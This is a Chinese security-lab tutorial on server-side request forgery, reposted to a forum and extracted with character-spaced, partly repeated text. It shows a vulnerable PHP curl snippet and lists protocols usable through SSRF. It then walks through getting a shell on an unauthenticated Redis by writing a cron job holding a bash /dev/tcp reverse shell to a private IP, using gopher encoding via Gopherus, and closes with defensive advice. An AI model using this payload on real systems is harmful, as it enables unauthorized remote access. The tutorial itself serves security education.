搜索

[20343] 2020-07-01_SSRF(服务器请求伪造)

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-07-01_SSRF(服务器请求伪造) S S R F ( 服 务 器 请 求 伪 造 ) 原 创   打 工 仔   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 7 - 0 1 大 家 好 大 家 好 我 是 早 上 渗 透 工 程 师 、 我 是 早 上 渗 透 工 程 师 、 晚 上 健 身 教 练 、 凌 晨 工 厂 保 安 的 铁 人 三 项 打 工 仔 。 晚 上 健 身 教 练 、 凌 晨 工 厂 保 安 的 铁 人 三 项 打 工 仔 。 1 、 漏 洞 原 理 、 漏 洞 原 理
                S S R F ( S e r v e r - S i d e   R e q u e s t   F o r g e r y , 服 务 器 请 求 伪 造 ) 是 一 种 由 攻 击 者 构 造 请 求 , 由 服 务 端 发 起 请 求 的 安 全 漏 洞 , 一 般 情 况 下 , S S R F 攻 击 的 目 标 是 外 网 无 法 访 问 的 内 网 系 统 ( 正 因 为 请 求 时 由 服 务 端 发 起 的 , 所 以 服 务 端 能 请 求 到 与 自 身 相 连 而 与 外 网 隔 绝 的 内 部 系 统 ) 2 、 漏 洞 利 用 方 式 、 漏 洞 利 用 方 式 1 ．   对 其 他 外 网 主 机 ， 或 者 是 对 内 网 / 本 地 主 机 进 行 断 开 扫 描 。 2 ．   利 用 f i l e 协 议 读 取 本 地 的 敏 感 文 件 。 3 ．   攻 击 运 行 在 内 网 或 者 本 地 不 对 外 网 开 放 的 应 用 程 序 。 3 、 漏 洞 分 析 、 漏 洞 分 析                 在 例 子 中 ， 应 用 获 取 G E T 参 数 u r l ， 通 过 c u r l _ i n i t ( ) 初 始 化 c u r l 组 件 后 ， 通 过 调 用 c u r l _ e x e c 请 求 该 u r l ， 服 务 器 端 会 去 请 求 u r l 返 回 一 些 信 息 。 代 码 如 下 ： < ? p h p $ a a   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ a a ,   C U R L O P T _ U R L , $ _ G E T [ ' u r l ' ] ) ; c u r l _ s e t o p t ( $ a a ,   C U R L O P T _ H E A D E R ,   0 ) ; c u r l _ e x e c ( $ a a ) ; c u r l _ c l o s e ( $ a a ) ; ; ? > 4 、 漏 洞 利 用 方 式 、 漏 洞 利 用 方 式 h t t p : / / 1 9 2 . 1 6 8 . 1 2 4 . 1 4 5 / s s r f . p h p ? u r l = h t t p : / / w w w . b a i d u . c o m 实 现 功 能 通 过 G E T 参 数 获 取 u r l 内 容 ， 然 后 再 服 务 器 端 访 问 h t t p : / / w w w . b a i d u . c o m   5 、 支 持 的 协 议 、 支 持 的 协 议 1 .   h t t p 能 进 行 内 网 端 口 的 探 测 - 可 以 通 过 返 回 的 时 间 以 及 返 回 的 长 度 判 断 哪 些 端 口 开 放    
2 .   f t p 由 于 F T P 协 议 对 返 回 时 间 的 长 短 比 较 精 确 ， 可 以 使 用 自 动 化 的 脚 本 来 进 行 内 网 的 端 口 扫 描     3 .   d i c t 能 进 行 内 网 端 口 的 探 测 - 可 以 探 测 到 具 体 的 版 本 号 等 等 信 息 。   4 .   f i l e 能 够 读 取 文 件    
5 .   g o p h e r 能 进 行 内 网 端 口 的 探 测 - 可 以 发 送 g e t 或 者 来 攻 击 内 网 的 r e d i s 等 服 务 。     6 、 使 用 、 使 用 s s r f 攻 击 内 网 攻 击 内 网 r e d i s 服 务 服 务 g e t e s h l l                 在 r e d i s 默 认 是 无 密 码 的 服 务 ， 可 以 通 过 未 经 授 权 访 问 ， 写 计 划 任 务 弹 s h e l l 。 以 下 是 在 普 通 情 况 下 的 g e t s h e l l ， 使 用 p a y l o a d 代 码 如 下 ： e c h o   - e   " n n n * / 1   *   *   *   *   b a s h   - i       > &       / d e v / t c p / 1 9 2 . 1 6 8 . 1 2 4 . 1 2 9 / 6 6 6 6       0 > & 1     n n n "     | r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   - x   s e t   1 r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   c o n f i g   s e t   d b f i l e n a m e   r o o t r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   s a v e r e d i s - c l i   - h   1 2 7 . 0 . 0 . 1   - p   6 3 7 9   q u i t   然 后 在 计 划 任 务 中 ，  
监 听 6 6 6 6 端 口 ， 获 得 s h e l l     在 普 通 环 境 中 ， 攻 击 无 密 码 的 r e d i s 服 务 写 计 划 任 务 g e t s h e l l 就 是 以 上 的 流 程 。 再 利 用 g o p h e r 协 议 下 的 S S R F 如 何 攻 击 r e d i s 服 务 g e t s h e l l 先 将 上 面 的 脚 本 转 化 城 g o p h e r 协 议 所 支 持 的 格 式 ：     G i t h u b 脚 本 ： h t t p s : / / g i t h u b . c o m / t a r u n k a n t / G o p h e r u s   再 用 b p 进 行 一 次 U R L 编 码 ， 然 后 进 行 访 问 ， 再 去 靶 机 看 看 计 划 任 务 这 时 候 已 经 生 成    
  监 听 4 4 4 4 端 口 后 反 弹 了 s h e l l   漏 洞 防 御 策 略 漏 洞 防 御 策 略 1 .   限 制 请 求 的 协 议 ， 只 允 许 h t t p 或 者 h t t p s 协 议 请 求 2 .   限 制 不 能 访 问 内 网 I P ， 以 防 止 对 内 网 主 机 的 攻 击 ， 同 时 也 屏 蔽 I P 的 十 进 制 输 出 。 3 .   屏 蔽 返 回 的 详 细 信 息 。     手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                                       -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理